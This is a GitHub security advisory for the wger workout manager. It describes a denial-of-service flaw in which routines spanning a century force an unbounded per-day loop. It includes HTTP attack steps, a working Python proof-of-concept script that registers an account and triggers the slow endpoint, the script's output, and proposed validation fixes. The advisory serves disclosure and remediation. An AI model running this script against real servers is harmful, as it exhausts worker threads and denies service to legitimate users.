GHSA-V25J-WQCW-FVHJ
Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-05-13 15:33Summary
Any authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the date_sequence computation via any of the routine detail endpoints. The server iterates once per day in an unbounded while loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.
Details
The Routine model (file: wger/manager/models/routine.py) has start and end date fields with only one validation -- start must not be after end:
# File: wger/manager/models/routine.py, line 151
def clean(self):
if self.end and self.start and self.start > self.end:
raise ValidationError('The start time cannot be after the end time.')
# NO maximum duration check
The RoutineSerializer (file: wger/manager/api/serializers.py, line 43) likewise performs no validation on the delta between start and end.
The date_sequence property (line 256) uses an unbounded loop:
# File: wger/manager/models/routine.py, line 256
while current_date <= self.end:
# heavy computation per day: slots, entries, configs, logs
...
A routine with start=2000-01-01 and end=2099-12-31 produces 36,525 iterations, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:
GET /api/v2/routine/<id>/date-sequence-display/GET /api/v2/routine/<id>/date-sequence-gym/GET /api/v2/routine/<id>/structure/GET /api/v2/routine/<id>/logs/GET /api/v2/routine/<id>/stats/
PoC
Prerequisites
- One authenticated user account
- No special permissions required
Attack Steps
# 1. Create a 100-year routine
POST /api/v2/routine/
Authorization: Token <token>
Content-Type: application/json
{
"name": "DoS routine",
"start": "2000-01-01",
"end": "2099-12-31"
}
# 2. Add at least one day (to make computation non-trivial)
POST /api/v2/day/
Authorization: Token <token>
Content-Type: application/json
{
"routine": <routine_id>,
"order": 1,
"name": "Day A"
}
# 3. Trigger the expensive computation
GET /api/v2/routine/<routine_id>/date-sequence-display/
Authorization: Token <token>
Expected: HTTP 400 (routine duration exceeds maximum) Actual: HTTP 200 with 36,525 entries after several seconds of server CPU time
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Unbounded date_sequence Denial of Service
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-400: Uncontrolled Resource Consumption
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import time
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
ATTACKER_USER = "dos_attacker_poc"
ATTACKER_PASS = "DosAttack!Poc!2025"
BANNER = """
=====================================================================
PoC: Unbounded date_sequence Denial of Service
Severity: HIGH
CWE-400: Uncontrolled Resource Consumption
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return r.json().get("token")
return None
def api_headers(token):
return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
# ---- 1. Authenticate ----
print("[1] Authenticating...")
token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not token:
print(f" Registering account...")
r = requests.post(f"{API}/register/", json={
"username": ATTACKER_USER,
"password": ATTACKER_PASS,
})
if r.status_code in (200, 201):
token = r.json().get("token")
if not token:
token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not token:
print(f"[-] Cannot authenticate. Response: {r.text[:200]}")
sys.exit(1)
print(f" Token: {token[:16]}...")
headers = api_headers(token)
# ---- 2. Create NORMAL routine (baseline) ----
print("\n[2] Creating baseline routine (30 days)...")
r = requests.post(f"{API}/routine/", headers=headers, json={
"name": "Normal 30-day routine",
"start": "2025-01-01",
"end": "2025-01-31",
})
normal_id = r.json()["id"]
r = requests.post(f"{API}/day/", headers=headers, json={
"routine": normal_id, "order": 1, "name": "Day A"
})
print(f" Routine id={normal_id} (30 days)")
start_time = time.time()
r = requests.get(
f"{API}/routine/{normal_id}/date-sequence-display/",
headers=headers,
)
baseline_time = time.time() - start_time
baseline_entries = len(r.json()) if r.status_code == 200 else 0
print(f" date-sequence-display: {r.status_code}, "
f"{baseline_entries} entries, {baseline_time:.2f}s")
# ---- 3. Create MALICIOUS routine (100 years) ----
print(f"\n[3] Creating malicious routine (100 years = 36,525 days)...")
r = requests.post(f"{API}/routine/", headers=headers, json={
"name": "DoS routine - 100 years",
"start": "2000-01-01",
"end": "2099-12-31",
})
if r.status_code != 201:
print(f" [-] Failed to create: {r.status_code} {r.text[:200]}")
sys.exit(1)
dos_id = r.json()["id"]
print(f" Routine id={dos_id}")
print(f" start=2000-01-01, end=2099-12-31")
print(f" Duration: ~36,525 days (NO validation limit!)")
r = requests.post(f"{API}/day/", headers=headers, json={
"routine": dos_id, "order": 1, "name": "DoS Day"
})
# ---- 4. ATTACK ----
print(f"\n{'='*65}")
print(f" ATTACK: Triggering date_sequence on 100-year routine")
print(f"{'='*65}")
print(f"\n GET {API}/routine/{dos_id}/date-sequence-display/")
print(f" This will iterate ~36,525 times in a while loop...")
start_time = time.time()
try:
r = requests.get(
f"{API}/routine/{dos_id}/date-sequence-display/",
headers=headers,
timeout=120,
)
elapsed = time.time() - start_time
dos_entries = len(r.json()) if r.status_code == 200 else 0
print(f"\n Response: HTTP {r.status_code}")
print(f" Entries returned: {dos_entries}")
print(f" Time elapsed: {elapsed:.2f}s")
except requests.exceptions.Timeout:
elapsed = time.time() - start_time
dos_entries = 0
print(f"\n REQUEST TIMED OUT after {elapsed:.2f}s!")
except requests.exceptions.ConnectionError:
elapsed = time.time() - start_time
dos_entries = 0
print(f"\n CONNECTION LOST after {elapsed:.2f}s!")
# ---- 5. VERIFY ----
print(f"\n{'='*65}")
print(f" VERIFICATION")
print(f"{'='*65}")
print(f"\n Baseline (30-day routine):")
print(f" Entries: {baseline_entries}")
print(f" Time: {baseline_time:.2f}s")
print(f"\n Malicious (100-year routine):")
print(f" Entries: {dos_entries}")
print(f" Time: {elapsed:.2f}s")
if elapsed > baseline_time * 5 or dos_entries > 10000:
slowdown = elapsed / baseline_time if baseline_time > 0 else float('inf')
print(f"\n Slowdown factor: {slowdown:.1f}x")
print("""
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| No maximum duration is enforced on routines. |
| The date_sequence property loops once per day with no |
| upper bound. A 100-year routine forces ~36,525 |
| iterations of expensive O(days x slots x configs) work. |
| A single request can exhaust a server worker thread. |
+----------------------------------------------------------+
""")
else:
print("\n Response was fast - server may have limits or caching.")
Proof of Concept Output
=====================================================================
PoC: Unbounded date_sequence Denial of Service
Severity: HIGH
CWE-400: Uncontrolled Resource Consumption
=====================================================================
[1] Authenticating...
Registering account...
Token: 2ffbb18316fc4e0f...
[2] Creating baseline routine (30 days)...
Routine id=5 (30 days)
date-sequence-display: 200, 31 entries, 0.02s
[3] Creating malicious routine (100 years = 36,525 days)...
Routine id=6
start=2000-01-01, end=2099-12-31
Duration: ~36,525 days (NO validation limit!)
=================================================================
ATTACK: Triggering date_sequence on 100-year routine
=================================================================
GET http://localhost/api/v2/routine/6/date-sequence-display/
This will iterate ~36,525 times in a while loop...
Response: HTTP 200
Entries returned: 36525
Time elapsed: 3.06s
=================================================================
VERIFICATION
=================================================================
Baseline (30-day routine):
Entries: 31
Time: 0.02s
Malicious (100-year routine):
Entries: 36525
Time: 3.06s
Slowdown factor: 138.4x
+----------------------------------------------------------+
| VULNERABILITY CONFIRMED |
| |
| No maximum duration is enforced on routines. |
| The date_sequence property loops once per day with no |
| upper bound. A 100-year routine forces ~36,525 |
| iterations of expensive O(days x slots x configs) work. |
| A single request can exhaust a server worker thread. |
+----------------------------------------------------------+
Impact
- Worker Thread Exhaustion: Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.
- Amplification with Slots: The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.
- No Authentication Barrier Beyond Login: Any registered user can perform this attack. No elevated permissions are required.
- Cache Bypass: The first request for each routine (or after
ROUTINE_CACHE_TTLexpires) always runs the full computation. An attacker can create new routines to avoid cache hits. - Five Affected Endpoints:
date-sequence-display,date-sequence-gym,structure,logs, andstatsall trigger the same unbounded loop.
Fix
1. Add maximum duration validation in the model
# File: wger/manager/models/routine.py
MAX_ROUTINE_DAYS = 365
def clean(self):
if self.end and self.start:
if self.start > self.end:
raise ValidationError('Start cannot be after end.')
if (self.end - self.start).days > self.MAX_ROUTINE_DAYS:
raise ValidationError(
f'Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.'
)
2. Add the same validation in the serializer
# File: wger/manager/api/serializers.py
class RoutineSerializer(serializers.ModelSerializer):
def validate(self, data):
start = data.get('start')
end = data.get('end')
if start and end and (end - start).days > 365:
raise serializers.ValidationError(
'Routine cannot span more than 365 days.'
)
return data
3. Add a safety cap in date_sequence (defence-in-depth)
# File: wger/manager/models/routine.py, inside date_sequence property
MAX_SEQUENCE_DAYS = 400
count = 0
while current_date <= self.end:
count += 1
if count > MAX_SEQUENCE_DAYS:
break
...
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-13T15:33:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nAny authenticated user can create a routine spanning an arbitrarily long date range (e.g. 100 years) and then trigger the `date_sequence` computation via any of the routine detail endpoints. The server iterates once per day in an unbounded `while` loop with no maximum duration validation, causing a single HTTP request to consume multiple seconds of server CPU and return a response containing tens of thousands of entries. Repeated requests can exhaust all worker threads and deny service to other users.\n\n### Details\n\nThe `Routine` model (file: `wger/manager/models/routine.py`) has `start` and `end` date fields with only one validation -- `start` must not be after `end`:\n\n```python\n# File: wger/manager/models/routine.py, line 151\ndef clean(self):\n if self.end and self.start and self.start \u003e self.end:\n raise ValidationError(\u0027The start time cannot be after the end time.\u0027)\n # NO maximum duration check\n```\n\nThe `RoutineSerializer` (file: `wger/manager/api/serializers.py`, line 43) likewise performs no validation on the delta between `start` and `end`.\n\nThe `date_sequence` property (line 256) uses an unbounded loop:\n\n```python\n# File: wger/manager/models/routine.py, line 256\nwhile current_date \u003c= self.end:\n # heavy computation per day: slots, entries, configs, logs\n ...\n```\n\nA routine with `start=2000-01-01` and `end=2099-12-31` produces **36,525 iterations**, each performing O(slots x entries x configs) work. Five endpoints trigger this computation:\n\n- `GET /api/v2/routine/\u003cid\u003e/date-sequence-display/`\n- `GET /api/v2/routine/\u003cid\u003e/date-sequence-gym/`\n- `GET /api/v2/routine/\u003cid\u003e/structure/`\n- `GET /api/v2/routine/\u003cid\u003e/logs/`\n- `GET /api/v2/routine/\u003cid\u003e/stats/`\n\n### PoC\n\n#### Prerequisites\n\n- One authenticated user account\n- No special permissions required\n\n#### Attack Steps\n\n```\n# 1. Create a 100-year routine\nPOST /api/v2/routine/\nAuthorization: Token \u003ctoken\u003e\nContent-Type: application/json\n\n{\n \"name\": \"DoS routine\",\n \"start\": \"2000-01-01\",\n \"end\": \"2099-12-31\"\n}\n\n# 2. Add at least one day (to make computation non-trivial)\nPOST /api/v2/day/\nAuthorization: Token \u003ctoken\u003e\nContent-Type: application/json\n\n{\n \"routine\": \u003croutine_id\u003e,\n \"order\": 1,\n \"name\": \"Day A\"\n}\n\n# 3. Trigger the expensive computation\nGET /api/v2/routine/\u003croutine_id\u003e/date-sequence-display/\nAuthorization: Token \u003ctoken\u003e\n```\n\n**Expected:** HTTP 400 (routine duration exceeds maximum)\n**Actual:** HTTP 200 with 36,525 entries after several seconds of server CPU time\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Unbounded date_sequence Denial of Service\nTarget: wger Workout Manager\nSeverity: HIGH - CVSS 6.5\nCWE-400: Uncontrolled Resource Consumption\n\nUsage:\n python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport time\n\nif len(sys.argv) \u003c 2:\n print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nATTACKER_USER = \"dos_attacker_poc\"\nATTACKER_PASS = \"DosAttack!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n PoC: Unbounded date_sequence Denial of Service\n Severity: HIGH\n CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helper ----\ndef api_login(username, password):\n r = requests.post(f\"{API}/login/\", json={\n \"username\": username, \"password\": password\n })\n if r.status_code == 200:\n return r.json().get(\"token\")\n return None\n\ndef api_headers(token):\n return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- 1. Authenticate ----\n\nprint(\"[1] Authenticating...\")\n\ntoken = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not token:\n print(f\" Registering account...\")\n r = requests.post(f\"{API}/register/\", json={\n \"username\": ATTACKER_USER,\n \"password\": ATTACKER_PASS,\n })\n if r.status_code in (200, 201):\n token = r.json().get(\"token\")\n if not token:\n token = api_login(ATTACKER_USER, ATTACKER_PASS)\n if not token:\n print(f\"[-] Cannot authenticate. Response: {r.text[:200]}\")\n sys.exit(1)\nprint(f\" Token: {token[:16]}...\")\n\nheaders = api_headers(token)\n\n\n# ---- 2. Create NORMAL routine (baseline) ----\n\nprint(\"\\n[2] Creating baseline routine (30 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n \"name\": \"Normal 30-day routine\",\n \"start\": \"2025-01-01\",\n \"end\": \"2025-01-31\",\n})\nnormal_id = r.json()[\"id\"]\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n \"routine\": normal_id, \"order\": 1, \"name\": \"Day A\"\n})\n\nprint(f\" Routine id={normal_id} (30 days)\")\nstart_time = time.time()\nr = requests.get(\n f\"{API}/routine/{normal_id}/date-sequence-display/\",\n headers=headers,\n)\nbaseline_time = time.time() - start_time\nbaseline_entries = len(r.json()) if r.status_code == 200 else 0\nprint(f\" date-sequence-display: {r.status_code}, \"\n f\"{baseline_entries} entries, {baseline_time:.2f}s\")\n\n\n# ---- 3. Create MALICIOUS routine (100 years) ----\n\nprint(f\"\\n[3] Creating malicious routine (100 years = 36,525 days)...\")\n\nr = requests.post(f\"{API}/routine/\", headers=headers, json={\n \"name\": \"DoS routine - 100 years\",\n \"start\": \"2000-01-01\",\n \"end\": \"2099-12-31\",\n})\n\nif r.status_code != 201:\n print(f\" [-] Failed to create: {r.status_code} {r.text[:200]}\")\n sys.exit(1)\n\ndos_id = r.json()[\"id\"]\nprint(f\" Routine id={dos_id}\")\nprint(f\" start=2000-01-01, end=2099-12-31\")\nprint(f\" Duration: ~36,525 days (NO validation limit!)\")\n\nr = requests.post(f\"{API}/day/\", headers=headers, json={\n \"routine\": dos_id, \"order\": 1, \"name\": \"DoS Day\"\n})\n\n\n# ---- 4. ATTACK ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\" ATTACK: Triggering date_sequence on 100-year routine\")\nprint(f\"{\u0027=\u0027*65}\")\n\nprint(f\"\\n GET {API}/routine/{dos_id}/date-sequence-display/\")\nprint(f\" This will iterate ~36,525 times in a while loop...\")\n\nstart_time = time.time()\ntry:\n r = requests.get(\n f\"{API}/routine/{dos_id}/date-sequence-display/\",\n headers=headers,\n timeout=120,\n )\n elapsed = time.time() - start_time\n dos_entries = len(r.json()) if r.status_code == 200 else 0\n\n print(f\"\\n Response: HTTP {r.status_code}\")\n print(f\" Entries returned: {dos_entries}\")\n print(f\" Time elapsed: {elapsed:.2f}s\")\n\nexcept requests.exceptions.Timeout:\n elapsed = time.time() - start_time\n dos_entries = 0\n print(f\"\\n REQUEST TIMED OUT after {elapsed:.2f}s!\")\n\nexcept requests.exceptions.ConnectionError:\n elapsed = time.time() - start_time\n dos_entries = 0\n print(f\"\\n CONNECTION LOST after {elapsed:.2f}s!\")\n\n\n# ---- 5. VERIFY ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\" VERIFICATION\")\nprint(f\"{\u0027=\u0027*65}\")\n\nprint(f\"\\n Baseline (30-day routine):\")\nprint(f\" Entries: {baseline_entries}\")\nprint(f\" Time: {baseline_time:.2f}s\")\nprint(f\"\\n Malicious (100-year routine):\")\nprint(f\" Entries: {dos_entries}\")\nprint(f\" Time: {elapsed:.2f}s\")\n\nif elapsed \u003e baseline_time * 5 or dos_entries \u003e 10000:\n slowdown = elapsed / baseline_time if baseline_time \u003e 0 else float(\u0027inf\u0027)\n print(f\"\\n Slowdown factor: {slowdown:.1f}x\")\n print(\"\"\"\n +----------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | No maximum duration is enforced on routines. |\n | The date_sequence property loops once per day with no |\n | upper bound. A 100-year routine forces ~36,525 |\n | iterations of expensive O(days x slots x configs) work. |\n | A single request can exhaust a server worker thread. |\n +----------------------------------------------------------+\n\"\"\")\nelse:\n print(\"\\n Response was fast - server may have limits or caching.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n PoC: Unbounded date_sequence Denial of Service\n Severity: HIGH\n CWE-400: Uncontrolled Resource Consumption\n=====================================================================\n\n[1] Authenticating...\n Registering account...\n Token: 2ffbb18316fc4e0f...\n\n[2] Creating baseline routine (30 days)...\n Routine id=5 (30 days)\n date-sequence-display: 200, 31 entries, 0.02s\n\n[3] Creating malicious routine (100 years = 36,525 days)...\n Routine id=6\n start=2000-01-01, end=2099-12-31\n Duration: ~36,525 days (NO validation limit!)\n\n=================================================================\n ATTACK: Triggering date_sequence on 100-year routine\n=================================================================\n\n GET http://localhost/api/v2/routine/6/date-sequence-display/\n This will iterate ~36,525 times in a while loop...\n\n Response: HTTP 200\n Entries returned: 36525\n Time elapsed: 3.06s\n\n=================================================================\n VERIFICATION\n=================================================================\n\n Baseline (30-day routine):\n Entries: 31\n Time: 0.02s\n\n Malicious (100-year routine):\n Entries: 36525\n Time: 3.06s\n\n Slowdown factor: 138.4x\n\n +----------------------------------------------------------+\n | VULNERABILITY CONFIRMED |\n | |\n | No maximum duration is enforced on routines. |\n | The date_sequence property loops once per day with no |\n | upper bound. A 100-year routine forces ~36,525 |\n | iterations of expensive O(days x slots x configs) work. |\n | A single request can exhaust a server worker thread. |\n +----------------------------------------------------------+\n```\n\n### Impact\n\n1. **Worker Thread Exhaustion:** Each malicious request ties up a server worker for 3+ seconds (more with populated slots/configs). A handful of concurrent requests can saturate all available workers, making the application unresponsive for legitimate users.\n2. **Amplification with Slots:** The 3-second figure is for a routine with a single empty day. Adding exercises, slot entries, and progression configs multiplies the per-day cost. A fully populated 100-year routine could take minutes per request.\n3. **No Authentication Barrier Beyond Login:** Any registered user can perform this attack. No elevated permissions are required.\n4. **Cache Bypass:** The first request for each routine (or after `ROUTINE_CACHE_TTL` expires) always runs the full computation. An attacker can create new routines to avoid cache hits.\n5. **Five Affected Endpoints:** `date-sequence-display`, `date-sequence-gym`, `structure`, `logs`, and `stats` all trigger the same unbounded loop.\n\n\n### Fix\n\n#### 1. Add maximum duration validation in the model\n\n```python\n# File: wger/manager/models/routine.py\nMAX_ROUTINE_DAYS = 365\n\ndef clean(self):\n if self.end and self.start:\n if self.start \u003e self.end:\n raise ValidationError(\u0027Start cannot be after end.\u0027)\n if (self.end - self.start).days \u003e self.MAX_ROUTINE_DAYS:\n raise ValidationError(\n f\u0027Routine cannot span more than {self.MAX_ROUTINE_DAYS} days.\u0027\n )\n```\n\n#### 2. Add the same validation in the serializer\n\n```python\n# File: wger/manager/api/serializers.py\nclass RoutineSerializer(serializers.ModelSerializer):\n def validate(self, data):\n start = data.get(\u0027start\u0027)\n end = data.get(\u0027end\u0027)\n if start and end and (end - start).days \u003e 365:\n raise serializers.ValidationError(\n \u0027Routine cannot span more than 365 days.\u0027\n )\n return data\n```\n\n#### 3. Add a safety cap in date_sequence (defence-in-depth)\n\n```python\n# File: wger/manager/models/routine.py, inside date_sequence property\nMAX_SEQUENCE_DAYS = 400\ncount = 0\nwhile current_date \u003c= self.end:\n count += 1\n if count \u003e MAX_SEQUENCE_DAYS:\n break\n ...\n```",
"id": "GHSA-v25j-wqcw-fvhj",
"modified": "2026-05-13T15:33:38Z",
"published": "2026-05-13T15:33:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-v25j-wqcw-fvhj"
},
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/commit/5f07a4473e2c32d298c8cdd31d78e5107840039c"
},
{
"type": "PACKAGE",
"url": "https://github.com/wger-project/wger"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "wger has an Uncontrolled Resource Consumption issue"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.